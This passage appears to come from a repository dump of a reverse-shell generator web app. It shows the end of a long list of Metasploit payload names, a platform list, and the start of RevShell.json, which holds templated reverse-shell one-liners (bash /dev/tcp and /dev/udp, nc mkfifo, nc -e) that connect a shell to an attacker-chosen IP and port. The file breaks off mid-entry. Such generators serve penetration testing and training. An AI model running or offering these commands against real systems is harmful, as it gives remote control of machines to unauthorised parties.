},\n\t{ \"value\": \"linux/armle/meterpreter/reverse_tcp\" },\n\t{ \"value\": \"linux/armle/meterpreter_reverse_http\" },\n\t{ \"value\": \"linux/armle/meterpreter_reverse_https\" },\n\t{ \"value\": \"linux/armle/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"linux/armle/shell/bind_tcp\" },\n\t{ \"value\": \"linux/armle/shell/reverse_tcp\" },\n\t{ \"value\": \"linux/armle/shell_bind_tcp\" },\n\t{ \"value\": \"linux/armle/shell_reverse_tcp\" },\n\t{ \"value\": \"linux/mips64/meterpreter_reverse_http\" },\n\t{ \"value\": \"linux/mips64/meterpreter_reverse_https\" },\n\t{ \"value\": \"linux/mips64/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"linux/mipsbe/exec\" },\n\t{ \"value\": \"linux/mipsbe/meterpreter/reverse_tcp\" },\n\t{ \"value\": \"linux/mipsbe/meterpreter_reverse_http\" },\n\t{ \"value\": \"linux/mipsbe/meterpreter_reverse_https\" },\n\t{ \"value\": \"linux/mipsbe/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"linux/mipsbe/reboot\" },\n\t{ \"value\": \"linux/mipsbe/shell/reverse_tcp\" },\n\t{ \"value\": \"linux/mipsbe/shell_bind_tcp\" },\n\t{ \"value\": \"linux/mipsbe/shell_reverse_tcp\" },\n\t{ \"value\": \"linux/mipsle/exec\" },\n\t{ \"value\": \"linux/mipsle/meterpreter/reverse_tcp\" },\n\t{ \"value\": \"linux/mipsle/meterpreter_reverse_http\" },\n\t{ \"value\": \"linux/mipsle/meterpreter_reverse_https\" },\n\t{ \"value\": \"linux/mipsle/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"linux/mipsle/reboot\" },\n\t{ \"value\": \"linux/mipsle/shell/reverse_tcp\" },\n\t{ \"value\": \"linux/mipsle/shell_bind_tcp\" },\n\t{ \"value\": \"linux/mipsle/shell_reverse_tcp\" },\n\t{ \"value\": \"linux/ppc/meterpreter_reverse_http\" },\n\t{ \"value\": \"linux/ppc/meterpreter_reverse_https\" },\n\t{ \"value\": \"linux/ppc/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"linux/ppc/shell_bind_tcp\" },\n\t{ \"value\": \"linux/ppc/shell_find_port\" },\n\t{ \"value\": \"linux/ppc/shell_reverse_tcp\" },\n\t{ \"value\": \"linux/ppc64/shell_bind_tcp\" },\n\t{ \"value\": \"linux/ppc64/shell_find_port\" },\n\t{ \"value\": \"linux/ppc64/shell_reverse_tcp\" },\n\t{ \"value\": \"linux/ppc64le/meterpreter_reverse_http\" },\n\t{ \"value\": \"linux/ppc64le/meterpreter_reverse_https\" },\n\t{ \"value\": \"linux/ppc64le/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"linux/ppce500v2/meterpreter_reverse_http\" },\n\t{ \"value\": \"linux/ppce500v2/meterpreter_reverse_https\" },\n\t{ \"value\": \"linux/ppce500v2/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"linux/x64/exec\" },\n\t{ \"value\": \"linux/x64/meterpreter/bind_tcp\" },\n\t{ \"value\": \"linux/x64/meterpreter/reverse_tcp\" },\n\t{ \"value\": \"linux/x64/meterpreter_reverse_http\" },\n\t{ \"value\": \"linux/x64/meterpreter_reverse_https\" },\n\t{ \"value\": \"linux/x64/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"linux/x64/shell/bind_tcp\" },\n\t{ \"value\": \"linux/x64/shell/reverse_tcp\" },\n\t{ \"value\": \"linux/x64/shell_bind_tcp\" },\n\t{ \"value\": \"linux/x64/shell_bind_tcp_random_port\" },\n\t{ \"value\": \"linux/x64/shell_find_port\" },\n\t{ \"value\": \"linux/x64/shell_reverse_tcp\" },\n\t{ \"value\": \"linux/x86/adduser\" },\n\t{ \"value\": \"linux/x86/chmod\" },\n\t{ \"value\": \"linux/x86/exec\" },\n\t{ \"value\": \"linux/x86/meterpreter/bind_ipv6_tcp\" },\n\t{ \"value\": \"linux/x86/meterpreter/bind_ipv6_tcp_uuid\" },\n\t{ \"value\": \"linux/x86/meterpreter/bind_nonx_tcp\" },\n\t{ \"value\": \"linux/x86/meterpreter/bind_tcp\" },\n\t{ \"value\": \"linux/x86/meterpreter/bind_tcp_uuid\" },\n\t{ \"value\": \"linux/x86/meterpreter/find_tag\" },\n\t{ \"value\": \"linux/x86/meterpreter/reverse_ipv6_tcp\" },\n\t{ \"value\": \"linux/x86/meterpreter/reverse_nonx_tcp\" },\n\t{ \"value\": \"linux/x86/meterpreter/reverse_tcp\" },\n\t{ \"value\": \"linux/x86/meterpreter/reverse_tcp_uuid\" },\n\t{ \"value\": \"linux/x86/meterpreter_reverse_http\" },\n\t{ \"value\": \"linux/x86/meterpreter_reverse_https\" },\n\t{ \"value\": \"linux/x86/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"linux/x86/metsvc_bind_tcp\" },\n\t{ \"value\": \"linux/x86/metsvc_reverse_tcp\" },\n\t{ \"value\": \"linux/x86/read_file\" },\n\t{ \"value\": \"linux/x86/shell/bind_ipv6_tcp\" },\n\t{ \"value\": \"linux/x86/shell/bind_ipv6_tcp_uuid\" },\n\t{ \"value\": \"linux/x86/shell/bind_nonx_tcp\" },\n\t{ \"value\": \"linux/x86/shell/bind_tcp\" },\n\t{ \"value\": \"linux/x86/shell/bind_tcp_uuid\" },\n\t{ \"value\": \"linux/x86/shell/find_tag\" },\n\t{ \"value\": \"linux/x86/shell/reverse_ipv6_tcp\" },\n\t{ \"value\": \"linux/x86/shell/reverse_nonx_tcp\" },\n\t{ \"value\": \"linux/x86/shell/reverse_tcp\" },\n\t{ \"value\": \"linux/x86/shell/reverse_tcp_uuid\" },\n\t{ \"value\": \"linux/x86/shell_bind_ipv6_tcp\" },\n\t{ \"value\": \"linux/x86/shell_bind_tcp\" },\n\t{ \"value\": \"linux/x86/shell_bind_tcp_random_port\" },\n\t{ \"value\": \"linux/x86/shell_find_port\" },\n\t{ \"value\": \"linux/x86/shell_find_tag\" },\n\t{ \"value\": \"linux/x86/shell_reverse_tcp\" },\n\t{ \"value\": \"linux/x86/shell_reverse_tcp_ipv6\" },\n\t{ \"value\": \"linux/zarch/meterpreter_reverse_http\" },\n\t{ \"value\": \"linux/zarch/meterpreter_reverse_https\" },\n\t{ \"value\": \"linux/zarch/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"mainframe/shell_reverse_tcp\" },\n\t{ \"value\": \"multi/meterpreter/reverse_http\" },\n\t{ \"value\": \"multi/meterpreter/reverse_https\" },\n\t{ \"value\": \"netware/shell/reverse_tcp\" },\n\t{ \"value\": \"nodejs/shell_bind_tcp\" },\n\t{ \"value\": \"nodejs/shell_reverse_tcp\" },\n\t{ \"value\": \"nodejs/shell_reverse_tcp_ssl\" },\n\t{ \"value\": \"osx/armle/execute/bind_tcp\" },\n\t{ \"value\": \"osx/armle/execute/reverse_tcp\" },\n\t{ \"value\": \"osx/armle/shell/bind_tcp\" },\n\t{ \"value\": \"osx/armle/shell/reverse_tcp\" },\n\t{ \"value\": \"osx/armle/shell_bind_tcp\" },\n\t{ \"value\": \"osx/armle/shell_reverse_tcp\" },\n\t{ \"value\": \"osx/armle/vibrate\" },\n\t{ \"value\": \"osx/ppc/shell/bind_tcp\" },\n\t{ \"value\": \"osx/ppc/shell/find_tag\" },\n\t{ \"value\": \"osx/ppc/shell/reverse_tcp\" },\n\t{ \"value\": \"osx/ppc/shell_bind_tcp\" },\n\t{ \"value\": \"osx/ppc/shell_reverse_tcp\" },\n\t{ \"value\": \"osx/x64/dupandexecve/bind_tcp\" },\n\t{ \"value\": \"osx/x64/dupandexecve/reverse_tcp\" },\n\t{ \"value\": \"osx/x64/exec\" },\n\t{ \"value\": \"osx/x64/meterpreter/bind_tcp\" },\n\t{ \"value\": \"osx/x64/meterpreter/reverse_tcp\" },\n\t{ \"value\": \"osx/x64/meterpreter_reverse_http\" },\n\t{ \"value\": \"osx/x64/meterpreter_reverse_https\" },\n\t{ \"value\": \"osx/x64/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"osx/x64/say\" },\n\t{ \"value\": \"osx/x64/shell_bind_tcp\" },\n\t{ \"value\": \"osx/x64/shell_find_tag\" },\n\t{ \"value\": \"osx/x64/shell_reverse_tcp\" },\n\t{ \"value\": \"osx/x86/bundleinject/bind_tcp\" },\n\t{ \"value\": \"osx/x86/bundleinject/reverse_tcp\" },\n\t{ \"value\": \"osx/x86/exec\" },\n\t{ \"value\": \"osx/x86/isight/bind_tcp\" },\n\t{ \"value\": \"osx/x86/isight/reverse_tcp\" },\n\t{ \"value\": \"osx/x86/shell_bind_tcp\" },\n\t{ \"value\": \"osx/x86/shell_find_port\" },\n\t{ \"value\": \"osx/x86/shell_reverse_tcp\" },\n\t{ \"value\": \"osx/x86/vforkshell/bind_tcp\" },\n\t{ \"value\": \"osx/x86/vforkshell/reverse_tcp\" },\n\t{ \"value\": \"osx/x86/vforkshell_bind_tcp\" },\n\t{ \"value\": \"osx/x86/vforkshell_reverse_tcp\" },\n\t{ \"value\": \"php/bind_perl\" },\n\t{ \"value\": \"php/bind_perl_ipv6\" },\n\t{ \"value\": \"php/bind_php\" },\n\t{ \"value\": \"php/bind_php_ipv6\" },\n\t{ \"value\": \"php/download_exec\" },\n\t{ \"value\": \"php/exec\" },\n\t{ \"value\": \"php/meterpreter/bind_tcp\" },\n\t{ \"value\": \"php/meterpreter/bind_tcp_ipv6\" },\n\t{ \"value\": \"php/meterpreter/bind_tcp_ipv6_uuid\" },\n\t{ \"value\": \"php/meterpreter/bind_tcp_uuid\" },\n\t{ \"value\": \"php/meterpreter/reverse_tcp\" },\n\t{ \"value\": \"php/meterpreter/reverse_tcp_uuid\" },\n\t{ \"value\": \"php/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"php/reverse_perl\" },\n\t{ \"value\": \"php/reverse_php\" },\n\t{ \"value\": \"php/shell_findsock\" },\n\t{ \"value\": \"python/meterpreter/bind_tcp\" },\n\t{ \"value\": \"python/meterpreter/bind_tcp_uuid\" },\n\t{ \"value\": \"python/meterpreter/reverse_http\" },\n\t{ \"value\": \"python/meterpreter/reverse_https\" },\n\t{ \"value\": \"python/meterpreter/reverse_tcp\" },\n\t{ \"value\": \"python/meterpreter/reverse_tcp_ssl\" },\n\t{ \"value\": \"python/meterpreter/reverse_tcp_uuid\" },\n\t{ \"value\": \"python/meterpreter_bind_tcp\" },\n\t{ \"value\": \"python/meterpreter_reverse_http\" },\n\t{ \"value\": \"python/meterpreter_reverse_https\" },\n\t{ \"value\": \"python/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"python/shell_bind_tcp\" },\n\t{ \"value\": \"python/shell_reverse_tcp\" },\n\t{ \"value\": \"python/shell_reverse_tcp_ssl\" },\n\t{ \"value\": \"python/shell_reverse_udp\" },\n\t{ \"value\": \"r/shell_bind_tcp\" },\n\t{ \"value\": \"r/shell_reverse_tcp\" },\n\t{ \"value\": \"ruby/shell_bind_tcp\" },\n\t{ \"value\": \"ruby/shell_bind_tcp_ipv6\" },\n\t{ \"value\": \"ruby/shell_reverse_tcp\" },\n\t{ \"value\": \"ruby/shell_reverse_tcp_ssl\" },\n\t{ \"value\": \"solaris/sparc/shell_bind_tcp\" },\n\t{ \"value\": \"solaris/sparc/shell_find_port\" },\n\t{ \"value\": \"solaris/sparc/shell_reverse_tcp\" },\n\t{ \"value\": \"solaris/x86/shell_bind_tcp\" },\n\t{ \"value\": \"solaris/x86/shell_find_port\" },\n\t{ \"value\": \"solaris/x86/shell_reverse_tcp\" },\n\t{ \"value\": \"tty/unix/interact\" },\n\t{ \"value\": \"windows/adduser\" },\n\t{ \"value\": \"windows/dllinject/bind_hidden_ipknock_tcp\" },\n\t{ \"value\": \"windows/dllinject/bind_hidden_tcp\" },\n\t{ \"value\": \"windows/dllinject/bind_ipv6_tcp\" },\n\t{ \"value\": \"windows/dllinject/bind_ipv6_tcp_uuid\" },\n\t{ \"value\": \"windows/dllinject/bind_named_pipe\" },\n\t{ \"value\": \"windows/dllinject/bind_nonx_tcp\" },\n\t{ \"value\": \"windows/dllinject/bind_tcp\" },\n\t{ \"value\": \"windows/dllinject/bind_tcp_rc4\" },\n\t{ \"value\": \"windows/dllinject/bind_tcp_uuid\" },\n\t{ \"value\": \"windows/dllinject/find_tag\" },\n\t{ \"value\": \"windows/dllinject/reverse_hop_http\" },\n\t{ \"value\": \"windows/dllinject/reverse_http\" },\n\t{ \"value\": \"windows/dllinject/reverse_http_proxy_pstore\" },\n\t{ \"value\": \"windows/dllinject/reverse_ipv6_tcp\" },\n\t{ \"value\": \"windows/dllinject/reverse_nonx_tcp\" },\n\t{ \"value\": \"windows/dllinject/reverse_ord_tcp\" },\n\t{ \"value\": \"windows/dllinject/reverse_tcp\" },\n\t{ \"value\": \"windows/dllinject/reverse_tcp_allports\" },\n\t{ \"value\": \"windows/dllinject/reverse_tcp_dns\" },\n\t{ \"value\": \"windows/dllinject/reverse_tcp_rc4\" },\n\t{ \"value\": \"windows/dllinject/reverse_tcp_rc4_dns\" },\n\t{ \"value\": \"windows/dllinject/reverse_tcp_uuid\" },\n\t{ \"value\": \"windows/dllinject/reverse_udp\" },\n\t{ \"value\": \"windows/dllinject/reverse_winhttp\" },\n\t{ \"value\": \"windows/dns_txt_query_exec\" },\n\t{ \"value\": \"windows/download_exec\" },\n\t{ \"value\": \"windows/exec\" },\n\t{ \"value\": \"windows/format_all_drives\" },\n\t{ \"value\": \"windows/loadlibrary\" },\n\t{ \"value\": \"windows/messagebox\" },\n\t{ \"value\": \"windows/meterpreter/bind_hidden_ipknock_tcp\" },\n\t{ \"value\": \"windows/meterpreter/bind_hidden_tcp\" },\n\t{ \"value\": \"windows/meterpreter/bind_ipv6_tcp\" },\n\t{ \"value\": \"windows/meterpreter/bind_ipv6_tcp_uuid\" },\n\t{ \"value\": \"windows/meterpreter/bind_named_pipe\" },\n\t{ \"value\": \"windows/meterpreter/bind_nonx_tcp\" },\n\t{ \"value\": \"windows/meterpreter/bind_tcp\" },\n\t{ \"value\": \"windows/meterpreter/bind_tcp_rc4\" },\n\t{ \"value\": \"windows/meterpreter/bind_tcp_uuid\" },\n\t{ \"value\": \"windows/meterpreter/find_tag\" },\n\t{ \"value\": \"windows/meterpreter/reverse_hop_http\" },\n\t{ \"value\": \"windows/meterpreter/reverse_http\" },\n\t{ \"value\": \"windows/meterpreter/reverse_http_proxy_pstore\" },\n\t{ \"value\": \"windows/meterpreter/reverse_https\" },\n\t{ \"value\": \"windows/meterpreter/reverse_https_proxy\" },\n\t{ \"value\": \"windows/meterpreter/reverse_ipv6_tcp\" },\n\t{ \"value\": \"windows/meterpreter/reverse_named_pipe\" },\n\t{ \"value\": \"windows/meterpreter/reverse_nonx_tcp\" },\n\t{ \"value\": \"windows/meterpreter/reverse_ord_tcp\" },\n\t{ \"value\": \"windows/meterpreter/reverse_tcp\" },\n\t{ \"value\": \"windows/meterpreter/reverse_tcp_allports\" },\n\t{ \"value\": \"windows/meterpreter/reverse_tcp_dns\" },\n\t{ \"value\": \"windows/meterpreter/reverse_tcp_rc4\" },\n\t{ \"value\": \"windows/meterpreter/reverse_tcp_rc4_dns\" },\n\t{ \"value\": \"windows/meterpreter/reverse_tcp_uuid\" },\n\t{ \"value\": \"windows/meterpreter/reverse_udp\" },\n\t{ \"value\": \"windows/meterpreter/reverse_winhttp\" },\n\t{ \"value\": \"windows/meterpreter/reverse_winhttps\" },\n\t{ \"value\": \"windows/meterpreter_bind_named_pipe\" },\n\t{ \"value\": \"windows/meterpreter_bind_tcp\" },\n\t{ \"value\": \"windows/meterpreter_reverse_http\" },\n\t{ \"value\": \"windows/meterpreter_reverse_https\" },\n\t{ \"value\": \"windows/meterpreter_reverse_ipv6_tcp\" },\n\t{ \"value\": \"windows/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"windows/metsvc_bind_tcp\" },\n\t{ \"value\": \"windows/metsvc_reverse_tcp\" },\n\t{ \"value\": \"windows/patchupdllinject/bind_hidden_ipknock_tcp\" },\n\t{ \"value\": \"windows/patchupdllinject/bind_hidden_tcp\" },\n\t{ \"value\": \"windows/patchupdllinject/bind_ipv6_tcp\" },\n\t{ \"value\": \"windows/patchupdllinject/bind_ipv6_tcp_uuid\" },\n\t{ \"value\": \"windows/patchupdllinject/bind_named_pipe\" },\n\t{ \"value\": \"windows/patchupdllinject/bind_nonx_tcp\" },\n\t{ \"value\": \"windows/patchupdllinject/bind_tcp\" },\n\t{ \"value\": \"windows/patchupdllinject/bind_tcp_rc4\" },\n\t{ \"value\": \"windows/patchupdllinject/bind_tcp_uuid\" },\n\t{ \"value\": \"windows/patchupdllinject/find_tag\" },\n\t{ \"value\": \"windows/patchupdllinject/reverse_ipv6_tcp\" },\n\t{ \"value\": \"windows/patchupdllinject/reverse_nonx_tcp\" },\n\t{ \"value\": \"windows/patchupdllinject/reverse_ord_tcp\" },\n\t{ \"value\": \"windows/patchupdllinject/reverse_tcp\" },\n\t{ \"value\": \"windows/patchupdllinject/reverse_tcp_allports\" },\n\t{ \"value\": \"windows/patchupdllinject/reverse_tcp_dns\" },\n\t{ \"value\": \"windows/patchupdllinject/reverse_tcp_rc4\" },\n\t{ \"value\": \"windows/patchupdllinject/reverse_tcp_rc4_dns\" },\n\t{ \"value\": \"windows/patchupdllinject/reverse_tcp_uuid\" },\n\t{ \"value\": \"windows/patchupdllinject/reverse_udp\" },\n\t{ \"value\": \"windows/patchupmeterpreter/bind_hidden_ipknock_tcp\" },\n\t{ \"value\": \"windows/patchupmeterpreter/bind_hidden_tcp\" },\n\t{ \"value\": \"windows/patchupmeterpreter/bind_ipv6_tcp\" },\n\t{ \"value\": \"windows/patchupmeterpreter/bind_ipv6_tcp_uuid\" },\n\t{ \"value\": \"windows/patchupmeterpreter/bind_named_pipe\" },\n\t{ \"value\": \"windows/patchupmeterpreter/bind_nonx_tcp\" },\n\t{ \"value\": \"windows/patchupmeterpreter/bind_tcp\" },\n\t{ \"value\": \"windows/patchupmeterpreter/bind_tcp_rc4\" },\n\t{ \"value\": \"windows/patchupmeterpreter/bind_tcp_uuid\" },\n\t{ \"value\": \"windows/patchupmeterpreter/find_tag\" },\n\t{ \"value\": \"windows/patchupmeterpreter/reverse_ipv6_tcp\" },\n\t{ \"value\": \"windows/patchupmeterpreter/reverse_nonx_tcp\" },\n\t{ \"value\": \"windows/patchupmeterpreter/reverse_ord_tcp\" },\n\t{ \"value\": \"windows/patchupmeterpreter/reverse_tcp\" },\n\t{ \"value\": \"windows/patchupmeterpreter/reverse_tcp_allports\" },\n\t{ \"value\": \"windows/patchupmeterpreter/reverse_tcp_dns\" },\n\t{ \"value\": \"windows/patchupmeterpreter/reverse_tcp_rc4\" },\n\t{ \"value\": \"windows/patchupmeterpreter/reverse_tcp_rc4_dns\" },\n\t{ \"value\": \"windows/patchupmeterpreter/reverse_tcp_uuid\" },\n\t{ \"value\": \"windows/patchupmeterpreter/reverse_udp\" },\n\t{ \"value\": \"windows/powershell_bind_tcp\" },\n\t{ \"value\": \"windows/powershell_reverse_tcp\" },\n\t{ \"value\": \"windows/shell/bind_hidden_ipknock_tcp\" },\n\t{ \"value\": \"windows/shell/bind_hidden_tcp\" },\n\t{ \"value\": \"windows/shell/bind_ipv6_tcp\" },\n\t{ \"value\": \"windows/shell/bind_ipv6_tcp_uuid\" },\n\t{ \"value\": \"windows/shell/bind_named_pipe\" },\n\t{ \"value\": \"windows/shell/bind_nonx_tcp\" },\n\t{ \"value\": \"windows/shell/bind_tcp\" },\n\t{ \"value\": \"windows/shell/bind_tcp_rc4\" },\n\t{ \"value\": \"windows/shell/bind_tcp_uuid\" },\n\t{ \"value\": \"windows/shell/find_tag\" },\n\t{ \"value\": \"windows/shell/reverse_ipv6_tcp\" },\n\t{ \"value\": \"windows/shell/reverse_nonx_tcp\" },\n\t{ \"value\": \"windows/shell/reverse_ord_tcp\" },\n\t{ \"value\": \"windows/shell/reverse_tcp\" },\n\t{ \"value\": \"windows/shell/reverse_tcp_allports\" },\n\t{ \"value\": \"windows/shell/reverse_tcp_dns\" },\n\t{ \"value\": \"windows/shell/reverse_tcp_rc4\" },\n\t{ \"value\": \"windows/shell/reverse_tcp_rc4_dns\" },\n\t{ \"value\": \"windows/shell/reverse_tcp_uuid\" },\n\t{ \"value\": \"windows/shell/reverse_udp\" },\n\t{ \"value\": \"windows/shell_bind_tcp\" },\n\t{ \"value\": \"windows/shell_bind_tcp_xpfw\" },\n\t{ \"value\": \"windows/shell_hidden_bind_tcp\" },\n\t{ \"value\": \"windows/shell_reverse_tcp\" },\n\t{ \"value\": \"windows/speak_pwned\" },\n\t{ \"value\": \"windows/upexec/bind_hidden_ipknock_tcp\" },\n\t{ \"value\": \"windows/upexec/bind_hidden_tcp\" },\n\t{ \"value\": \"windows/upexec/bind_ipv6_tcp\" },\n\t{ \"value\": \"windows/upexec/bind_ipv6_tcp_uuid\" },\n\t{ \"value\": \"windows/upexec/bind_named_pipe\" },\n\t{ \"value\": \"windows/upexec/bind_nonx_tcp\" },\n\t{ \"value\": \"windows/upexec/bind_tcp\" },\n\t{ \"value\": \"windows/upexec/bind_tcp_rc4\" },\n\t{ \"value\": \"windows/upexec/bind_tcp_uuid\" },\n\t{ \"value\": \"windows/upexec/find_tag\" },\n\t{ \"value\": \"windows/upexec/reverse_ipv6_tcp\" },\n\t{ \"value\": \"windows/upexec/reverse_nonx_tcp\" },\n\t{ \"value\": \"windows/upexec/reverse_ord_tcp\" },\n\t{ \"value\": \"windows/upexec/reverse_tcp\" },\n\t{ \"value\": \"windows/upexec/reverse_tcp_allports\" },\n\t{ \"value\": \"windows/upexec/reverse_tcp_dns\" },\n\t{ \"value\": \"windows/upexec/reverse_tcp_rc4\" },\n\t{ \"value\": \"windows/upexec/reverse_tcp_rc4_dns\" },\n\t{ \"value\": \"windows/upexec/reverse_tcp_uuid\" },\n\t{ \"value\": \"windows/upexec/reverse_udp\" },\n\t{ \"value\": \"windows/vncinject/bind_hidden_ipknock_tcp\" },\n\t{ \"value\": \"windows/vncinject/bind_hidden_tcp\" },\n\t{ \"value\": \"windows/vncinject/bind_ipv6_tcp\" },\n\t{ \"value\": \"windows/vncinject/bind_ipv6_tcp_uuid\" },\n\t{ \"value\": \"windows/vncinject/bind_named_pipe\" },\n\t{ \"value\": \"windows/vncinject/bind_nonx_tcp\" },\n\t{ \"value\": \"windows/vncinject/bind_tcp\" },\n\t{ \"value\": \"windows/vncinject/bind_tcp_rc4\" },\n\t{ \"value\": \"windows/vncinject/bind_tcp_uuid\" },\n\t{ \"value\": \"windows/vncinject/find_tag\" },\n\t{ \"value\": \"windows/vncinject/reverse_hop_http\" },\n\t{ \"value\": \"windows/vncinject/reverse_http\" },\n\t{ \"value\": \"windows/vncinject/reverse_http_proxy_pstore\" },\n\t{ \"value\": \"windows/vncinject/reverse_ipv6_tcp\" },\n\t{ \"value\": \"windows/vncinject/reverse_nonx_tcp\" },\n\t{ \"value\": \"windows/vncinject/reverse_ord_tcp\" },\n\t{ \"value\": \"windows/vncinject/reverse_tcp\" },\n\t{ \"value\": \"windows/vncinject/reverse_tcp_allports\" },\n\t{ \"value\": \"windows/vncinject/reverse_tcp_dns\" },\n\t{ \"value\": \"windows/vncinject/reverse_tcp_rc4\" },\n\t{ \"value\": \"windows/vncinject/reverse_tcp_rc4_dns\" },\n\t{ \"value\": \"windows/vncinject/reverse_tcp_uuid\" },\n\t{ \"value\": \"windows/vncinject/reverse_udp\" },\n\t{ \"value\": \"windows/vncinject/reverse_winhttp\" },\n\t{ \"value\": \"windows/x64/exec\" },\n\t{ \"value\": \"windows/x64/loadlibrary\" },\n\t{ \"value\": \"windows/x64/meterpreter/bind_ipv6_tcp\" },\n\t{ \"value\": \"windows/x64/meterpreter/bind_ipv6_tcp_uuid\" },\n\t{ \"value\": \"windows/x64/meterpreter/bind_named_pipe\" },\n\t{ \"value\": \"windows/x64/meterpreter/bind_tcp\" },\n\t{ \"value\": \"windows/x64/meterpreter/bind_tcp_uuid\" },\n\t{ \"value\": \"windows/x64/meterpreter/reverse_http\" },\n\t{ \"value\": \"windows/x64/meterpreter/reverse_https\" },\n\t{ \"value\": \"windows/x64/meterpreter/reverse_named_pipe\" },\n\t{ \"value\": \"windows/x64/meterpreter/reverse_tcp\" },\n\t{ \"value\": \"windows/x64/meterpreter/reverse_tcp_rc4\" },\n\t{ \"value\": \"windows/x64/meterpreter/reverse_tcp_uuid\" },\n\t{ \"value\": \"windows/x64/meterpreter/reverse_winhttp\" },\n\t{ \"value\": \"windows/x64/meterpreter/reverse_winhttps\" },\n\t{ \"value\": \"windows/x64/meterpreter_bind_named_pipe\" },\n\t{ \"value\": \"windows/x64/meterpreter_bind_tcp\" },\n\t{ \"value\": \"windows/x64/meterpreter_reverse_http\" },\n\t{ \"value\": \"windows/x64/meterpreter_reverse_https\" },\n\t{ \"value\": \"windows/x64/meterpreter_reverse_ipv6_tcp\" },\n\t{ \"value\": \"windows/x64/meterpreter_reverse_tcp\" },\n\t{ \"value\": \"windows/x64/powershell_bind_tcp\" },\n\t{ \"value\": \"windows/x64/powershell_reverse_tcp\" },\n\t{ \"value\": \"windows/x64/shell/bind_ipv6_tcp\" },\n\t{ \"value\": \"windows/x64/shell/bind_ipv6_tcp_uuid\" },\n\t{ \"value\": \"windows/x64/shell/bind_named_pipe\" },\n\t{ \"value\": \"windows/x64/shell/bind_tcp\" },\n\t{ \"value\": \"windows/x64/shell/bind_tcp_uuid\" },\n\t{ \"value\": \"windows/x64/shell/reverse_tcp\" },\n\t{ \"value\": \"windows/x64/shell/reverse_tcp_rc4\" },\n\t{ \"value\": \"windows/x64/shell/reverse_tcp_uuid\" },\n\t{ \"value\": \"windows/x64/shell_bind_tcp\" },\n\t{ \"value\": \"windows/x64/shell_reverse_tcp\" },\n\t{ \"value\": \"windows/x64/vncinject/bind_ipv6_tcp\" },\n\t{ \"value\": \"windows/x64/vncinject/bind_ipv6_tcp_uuid\" },\n\t{ \"value\": \"windows/x64/vncinject/bind_named_pipe\" },\n\t{ \"value\": \"windows/x64/vncinject/bind_tcp\" },\n\t{ \"value\": \"windows/x64/vncinject/bind_tcp_uuid\" },\n\t{ \"value\": \"windows/x64/vncinject/reverse_http\" },\n\t{ \"value\": \"windows/x64/vncinject/reverse_https\" },\n\t{ \"value\": \"windows/x64/vncinject/reverse_tcp\" },\n\t{ \"value\": \"windows/x64/vncinject/reverse_tcp_rc4\" },\n\t{ \"value\": \"windows/x64/vncinject/reverse_tcp_uuid\" },\n\t{ \"value\": \"windows/x64/vncinject/reverse_winhttp\" },\n\t{ \"value\": \"windows/x64/vncinject/reverse_winhttps\" }\n]\n"
  },
  {
    "path": "src/assets/data/Platform.json",
    "content": "[\n\t{ \"value\": \"aix\" },\n\t{ \"value\": \"android\" },\n\t{ \"value\": \"apple_ios\" },\n\t{ \"value\": \"bsd\" },\n\t{ \"value\": \"bsdi\" },\n\t{ \"value\": \"cisco\" },\n\t{ \"value\": \"firefox\" },\n\t{ \"value\": \"freebsd\" },\n\t{ \"value\": \"hardware\" },\n\t{ \"value\": \"hpux\" },\n\t{ \"value\": \"irix\" },\n\t{ \"value\": \"java\" },\n\t{ \"value\": \"javascript\" },\n\t{ \"value\": \"juniper\" },\n\t{ \"value\": \"linux\" },\n\t{ \"value\": \"mainframe\" },\n\t{ \"value\": \"multi\" },\n\t{ \"value\": \"netbsd\" },\n\t{ \"value\": \"netware\" },\n\t{ \"value\": \"nodejs\" },\n\t{ \"value\": \"openbsd\" },\n\t{ \"value\": \"osx\" },\n\t{ \"value\": \"php\" },\n\t{ \"value\": \"python\" },\n\t{ \"value\": \"r\" },\n\t{ \"value\": \"ruby\" },\n\t{ \"value\": \"solaris\" },\n\t{ \"value\": \"unix\" },\n\t{ \"value\": \"windows\" }\n]\n"
  },
  {
    "path": "src/assets/data/RevShell.json",
    "content": "[\n    {\n        \"name\": \"Bash -i\",\n        \"command\": \"{shell} -i >& /dev/tcp/${values.ip}/${values.port} 0>&1\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Bash 196\",\n        \"command\": \"0<&196;exec 196<>/dev/tcp/${values.ip}/${values.port}; {shell} <&196 >&196 2>&196\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Bash read line\",\n        \"command\": \"exec 5<>/dev/tcp/${values.ip}/${values.port};cat <&5 | while read line; do $line 2>&5 >&5; done\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Bash 5\",\n        \"command\": \"{shell} -i 5<> /dev/tcp/${values.ip}/${values.port} 0<&5 1>&5 2>&5\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Bash udp\",\n        \"command\": \"{shell} -i >& /dev/udp/${values.ip}/${values.port} 0>&1\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"nc mkfifo\",\n        \"command\": \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc ${values.ip} ${values.port} >/tmp/f\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"nc -e\",\n        \"command\": \"nc ${values.ip} ${values.port} -e {shell}\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"nc.exe -e\",\n        \"command\": \"nc.exe ${values.ip} ${values.port} -e {shell}\",\n        \"tags\": [\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"nc -c\",\n        \"command\": \"nc -c {shell} 